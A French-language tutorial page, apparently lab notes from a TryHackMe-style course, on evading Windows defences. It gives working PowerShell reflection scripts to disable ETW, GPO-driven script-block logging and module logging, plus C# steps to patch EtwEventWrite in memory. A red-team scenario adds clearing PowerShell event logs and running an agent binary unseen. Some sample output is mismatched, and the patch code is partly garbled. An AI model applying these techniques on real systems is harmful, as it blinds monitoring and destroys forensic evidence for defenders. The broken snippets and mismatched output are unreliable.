🔕Evasion des défenses
🔢 ETW
Dans PowerShell, les fournisseurs ETW (Event Tracing for Windows) sont chargés à partir d'une assembly .NET appelée PSEtwLogProvider. Les assemblies .NET sont des unités de déploiement et de sécurité pour les applications, se présentant sous forme d'exécutables (.exe) ou de bibliothèques (.dll).
Qu'est-ce que l'ETW ?
ETW (Event Tracing for Windows) est une infrastructure de suivi des événements dans le système d'exploitation Windows, permettant de suivre et de consigner divers événements pour l'analyse des performances et le dépannage.
Définitions Simples
etwProvider
: Champ dans l'assemblyPSEtwLogProvider
qui représente le fournisseur d'événements ETW.m_enabled
: Champ dans le fournisseur d'événements ETW qui indique si le suivi des événements est activé ou non.
▶️ Désactiver ETW avec PowerShell
Obtenir l'assembly PSEtwLogProvider
$logProvider = [Ref].Assembly.GetType('System.Management.Automation.Tracing.PSEtwLogProvider')
Accéder aux champs internes de l'assembly.
Stocker une valeur nulle dans
etwProvider
$etwProvider = $logProvider.GetField('etwProvider','NonPublic,Static').GetValue($null)
Stocker une valeur nulle pour le champ
etwProvider
.Définir
m_enabled
à 0 (désactivé)[System.Diagnostics.Eventing.EventProvider].GetField('m_enabled','NonPublic,Instance').SetValue($etwProvider,0);
Modifier le champ
m_enabled
pour désactiver le suivi des événements.
Exemple de Script PowerShell
# reflection.ps1
$logProvider = [Ref].Assembly.GetType('System.Management.Automation.Tracing.PSEtwLogProvider')
$etwProvider = $logProvider.GetField('etwProvider','NonPublic,Static').GetValue($null)
[System.Diagnostics.Eventing.EventProvider].GetField('m_enabled','NonPublic,Instance').SetValue($etwProvider,0);
Validation de l'Efficacité du Script
Avant l'exécution du script :
PS C:\Users\Administrator> Get-WinEvent -FilterHashtable @{ProviderName="Microsoft-Windows-PowerShell"; Id=4104} | Measure | % Count
7
PS C:\Users\Administrator> whoami
Tryhackme\administrator
PS C:\Users\Administrator> Get-WinEvent -FilterHashtable @{ProviderName="Microsoft-Windows-PowerShell"; Id=4104} | Measure | % Count
11
Après l'exécution du script :
PS C:\Users\Administrator>.\reflection.ps1
PS C:\Users\Administrator> Get-WinEvent -FilterHashtable @{ProviderName="Microsoft-Windows-PowerShell"; Id=4104} | Measure | % Count
18
PS C:\Users\Administrator> whoami
Tryhackme\administrator
PS C:\Users\Administrator> Get-WinEvent -FilterHashtable @{ProviderName="Microsoft-Windows-PowerShell"; Id=4104} | Measure | % Count
18
En comparant les résultats avant et après l'exécution du script, nous voyons que le script empêche la génération de nouveaux événements lorsqu'une commande est exécutée, prouvant ainsi son efficacité.
🔋 Patching ETW
Le patching ETW (Event Tracing for Windows) permet de modifier le comportement d'une fonction spécifique du système d'exploitation Windows afin d'introduire des fonctionnalités personnalisées ou de contourner des mécanismes de sécurité.
le patching ETW peut être divisé en cinq étapes :
Obtenir une poignée pour EtwEventWrite : Tout d'abord, nous devons obtenir une poignée pour l'adresse de EtwEventWrite. Cette fonction est stockée dans ntdll. Nous chargerons d'abord la bibliothèque en utilisant LoadLibrary puis obtiendrons la poignée en utilisant GetProcAddress.
var ntdll = Win32.LoadLibrary("ntdll.dll");
var etwFunction = Win32.GetProcAddress(ntdll, "EtwEventWrite");
Modifier les autorisations de mémoire de la fonction : Ensuite, nous devons modifier les autorisations de mémoire de la fonction pour nous permettre d'écrire dans la fonction. La permission de la fonction est définie par le paramètre flNewProtect ; 0x40 permet l'accès X, R ou RW (contraintes de protection de la mémoire).
uint oldProtect;
Win32.VirtualProtect(
etwFunction,
(UIntPtr)patch.Length,
0x40,
out oldProtect
);
Écrire les octets d'opcode en mémoire : La fonction a désormais les autorisations dont nous avons besoin pour écrire dedans, et nous avons l'opcode prédéfini pour le patcher. Parce que nous écrivons dans une fonction et non dans un processus, nous pouvons utiliser le célèbre Marshal.Copy pour écrire notre opcode.
patch(new byte[] { 0xc2, 0x14, 0x00 });
Marshal.Copy(
patch,
0,
etwEventSend,
patch.Length
);
Réinitialiser les autorisations de mémoire de la fonction : À l'étape quatre, nous pouvons commencer à nettoyer nos étapes pour restaurer les autorisations de mémoire telles qu'elles étaient.
VirtualProtect(etwFunction, 4, oldProtect, &oldOldProtect);
Vider le cache d'instructions : À l'étape cinq, nous pouvons nous assurer que la fonction patchée sera exécutée à partir du cache d'instructions.
Win32.FlushInstructionCache(
etwFunction,
NULL
);
Une fois que les octets d'opcode sont écrits en mémoire, nous pouvons voir à nouveau la fonction désassemblée pour observer le patch. Une fois la fonction patchée en mémoire, elle retournera toujours lorsque EtwEventWrite est appelé.
Bien que cette technique soit magnifiquement conçue, elle peut ne pas être la meilleure approche en fonction de votre environnement car elle peut restreindre plus de journaux que vous ne le souhaitez pour l'intégrité.
🔓 Désactivation des Journaux PowerShell via GPO
Introduction
Les fournisseurs de journalisation des modules et des blocs de script peuvent être activés à partir d'une stratégie de groupe, spécifiquement dans Modèles d'administration -> Composants Windows -> Windows PowerShell. Les assemblages système sont chargés dans le même contexte de sécurité que les utilisateurs lors d'une session PowerShell, ce qui permet à un attaquant d'avoir le même niveau de privilège que les assemblages qui mettent en cache les paramètres GPO. Grâce à la réflexion, un attaquant peut obtenir le dictionnaire utilitaire et modifier la stratégie de groupe pour l'un ou l'autre fournisseur PowerShell.
Étapes pour Prendre le Contrôle d'une Stratégie de Groupe
Un contrôle de la stratégie de groupe peut être décomposé en trois étapes principales :
Obtenir les paramètres de stratégie de groupe à partir du cache utilitaire.
Modifier le fournisseur générique à 0.
Modifier la définition de l'invocation ou du module.
Nous allons détailler un script PowerShell pour identifier chaque étape et expliquer chaque point en détail.
Étape 1 : Obtenir les Paramètres de Stratégie de Groupe
Utilisez la réflexion pour obtenir le type de System.Management.Automation.Utils
et identifier le champ du cache GPO : cachedGroupPolicySettings
.
$GroupPolicySettingsField = [ref].Assembly.GetType('System.Management.Automation.Utils').GetField('cachedGroupPolicySettings', 'NonPublic,Static')
$GroupPolicySettings = $GroupPolicySettingsField.GetValue($null)
Étape 2 : Modifier les Paramètres du Fournisseur d'Événements
Utilisez la variable GPO pour modifier les paramètres du fournisseur d'événements à 0. EnableScriptBlockLogging
contrôlera les événements 4104, limitant la visibilité de l'exécution des scripts. La modification peut se faire en écrivant directement dans l'objet ou le registre.
$GroupPolicySettings['ScriptBlockLogging']['EnableScriptBlockLogging'] = 0
Étape 3 : Répéter la Modification pour les Autres Paramètres
Répétez l'étape précédente pour tout autre paramètre de fournisseur que vous souhaitez désactiver. EnableScriptBlockInvocationLogging
contrôlera les événements 4103, limitant la visibilité de l'exécution des cmdlets et du pipeline.
$GroupPolicySettings['ScriptBlockLogging']['EnableScriptBlockInvocationLogging'] = 0
Compilation des Étapes
Compilez ces étapes ensemble et ajoutez-les à un script PowerShell. Voici le script complet :
# Étape 1 : Obtenir les paramètres de stratégie de groupe
$GroupPolicySettingsField = [ref].Assembly.GetType('System.Management.Automation.Utils').GetField('cachedGroupPolicySettings', 'NonPublic,Static')
$GroupPolicySettings = $GroupPolicySettingsField.GetValue($null)
# Étape 2 : Désactiver la journalisation des blocs de script
$GroupPolicySettings['ScriptBlockLogging']['EnableScriptBlockLogging'] = 0
# Étape 3 : Désactiver la journalisation de l'invocation des blocs de script
$GroupPolicySettings['ScriptBlockLogging']['EnableScriptBlockInvocationLogging'] = 0
Vérification de l'Efficacité du Script
Pour prouver l'efficacité du script, nous pouvons l'exécuter et mesurer le nombre d'événements retournés par une commande donnée.
Avant d'exécuter le script :
PS C:\Users\Administrator\Desktop> Get-WinEvent -FilterHashtable @{ProviderName="Microsoft-Windows-PowerShell"; Id=4104} | Measure | % Count
0
PS C:\Users\Administrator\Desktop> whoami
Tryhackme\administrator
PS C:\Users\Administrator\Desktop> Get-WinEvent -FilterHashtable @{ProviderName="Microsoft-Windows-PowerShell"; Id=4104} | Measure | % Count
3
Après avoir exécuté le script :
PS C:\Users\THM-Analyst> Get-WinEvent -Path C:\Users\THM-Analyst\Desktop\Scenarios\Practice\Hunting_Metasploit.evtx -FilterXPath '*/System/EventID=3 and */EventData/Data[@Name="DestinationPort"] and */EventData/Data=4444'
Conclusion
Dans le premier terminal, trois événements sont générés lorsque le script PowerShell est exécuté. Dans le second terminal, après l'exécution du script, aucun événement n'est généré lors de l'exécution d'une commande.
🏷️ Désactivation de la journalisation des modules PowerShell
Désactivation de la journalisation des modules PowerShell
Dans PowerShell, chaque module ou snap-in a un paramètre qui permet de contrôler la journalisation. La documentation de Microsoft indique que lorsque la propriété LogPipelineExecutionDetails est définie à TRUE ($true), PowerShell enregistre les événements d'exécution des cmdlets et des fonctions dans le journal PowerShell de l'Observateur d'événements.
Un attaquant peut modifier cette valeur à FALSE ($false) dans n'importe quelle session PowerShell pour désactiver la journalisation d'un module pour cette session spécifique. La documentation de Microsoft précise également qu'il est possible de désactiver la journalisation en utilisant la même commande pour définir la propriété sur FALSE ($false).
Étapes de la technique de désactivation de la journalisation des modules
À un niveau élevé, la technique de désactivation de la journalisation des modules peut être décomposée en quatre étapes :
Obtenir le module cible.
Définir les détails d'exécution du module sur $false.
Obtenir le snap-in du module.
Définir les détails d'exécution du snap-in sur $false.
Exemple de script PowerShell
$module = Get-Module Microsoft.PowerShell.Utility # Obtenir le module cible
$module.LogPipelineExecutionDetails = $false # Définir les détails d'exécution du module sur false
$snap = Get-PSSnapin Microsoft.PowerShell.Core # Obtenir le snap-in cible
$snap.LogPipelineExecutionDetails = $false # Définir les détails d'exécution du snap-in sur false
Le bloc de script ci-dessus peut être ajouté à n'importe quel script PowerShell ou exécuté dans une session pour désactiver la journalisation des modules importés actuellement.
Conclusion
En modifiant les paramètres de journalisation des modules et des snap-ins dans une session PowerShell, un attaquant peut rendre ses activités moins visibles dans les journaux d'événements.
⚙️ Sénario - Désactiver ETW et Exécuter un Binaire en Évitant la Détection
Introduction
Dans ce scénario, vous êtes un opérateur de l'équipe rouge chargé de créer un script pour désactiver ETW (Event Tracing for Windows) et exécuter un binaire compilé, tout en maintenant l'intégrité de l'environnement surveillé par l'équipe bleue. L'équipe bleue surveille principalement le trafic web et recherche des journaux suspects, mais ne les transmet pas.
Étapes pour Désactiver la Journalisation PowerShell et Supprimer les Journaux
Évaluer l'Environnement
Vérifiez si la journalisation PowerShell est activée : Cela est important pour savoir si vos activités PowerShell sont enregistrées et susceptibles d'être détectées. Utilisez les commandes suivantes pour vérifier les paramètres de journalisation :
# Vérifiez si la journalisation des blocs de scripts est activée $scriptBlockLogging = Get-ItemProperty -Path 'HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging' | Select-Object -Property EnableScriptBlockLogging # Afficher le résultat $scriptBlockLogging # Vérifiez si la journalisation des modules est activée $moduleLogging = Get-ItemProperty -Path 'HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ModuleLogging' | Select-Object -Property EnableModuleLogging # Afficher le résultat $moduleLogging
Vérifiez si Sysmon est installé : Sysmon (System Monitor) est un outil de surveillance avancé qui peut capturer des événements détaillés, rendant plus difficile l'évasion. Utilisez la commande suivante pour vérifier si Sysmon est installé :
$sysmonStatus = Get-Service -Name Sysmon | Select-Object -Property Status, DisplayName # Afficher le résultat $sysmonStatus
Désactiver la Journalisation PowerShell
Identifiez et désactivez les paramètres de journalisation du bloc de script et des modules dans les paramètres GPO pour la session PowerShell en cours.
Utilisez le script suivantes pour désactiver la journalisation :
$GroupPolicyField = [ref].Assembly.GetType('System.Management.Automation.Utils').GetField('cachedGroupPolicySettings', 'NonPublic,Static'); If ($GroupPolicyField) { $GroupPolicyCache = $GroupPolicyField.GetValue($null); If ($GroupPolicyCache['ScriptBlockLogging']) { $GroupPolicyCache['ScriptBlockLogging']['EnableScriptBlockLogging'] = 0; $GroupPolicyCache['ScriptBlockLogging']['EnableScriptBlockInvocationLogging'] = 0; } $val = [System.Collections.Generic.Dictionary[string,System.Object]]::new(); $val.Add('EnableScriptBlockLogging', 0); $val.Add('EnableScriptBlockInvocationLogging', 0); $GroupPolicyCache['HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging'] = $val };
Supprimer les Journaux PowerShell
Les journaux générés par l'exécution de scripts peuvent être supprimés pour éviter la détection. En particulier, les journaux avec les IDs 4103 et 4104.
Utilisez l'interface graphique de l'Observateur d'événements ou la commande PowerShell pour supprimer les journaux nécessaires :
Utilisation de l'Observateur d'événements :
Ouvrez l'Observateur d'événements.
Allez dans le dossier « Application and Service Logs/Microsoft/Windows/Powershell/Operational ».
Cliquez sur « Filtrer le journal actuel… ».
Tapez
4103, 4104
dans le champ ID.Cliquez sur OK pour filtrer ces événements.
Cliquez ensuite sur « Effacer le journal… » puis sur « Effacer ».
Utilisation de PowerShell :
Get-EventLog -List Clear-EventLog "Windows Powershell"
Exécuter le Binaire
Après avoir désactivé la journalisation, exécutez votre binaire compilé :
.\agent.exe
Conclusion
En suivant ces étapes, vous pouvez vérifier l'état de la journalisation PowerShell et l'installation de Sysmon, désactiver la journalisation PowerShell, exécuter un binaire compilé et supprimer les journaux générés pour éviter la détection par l'équipe bleue. Cette approche maintient l'intégrité de l'environnement tout en vous permettant d'exécuter vos tâches de manière furtive.
Last updated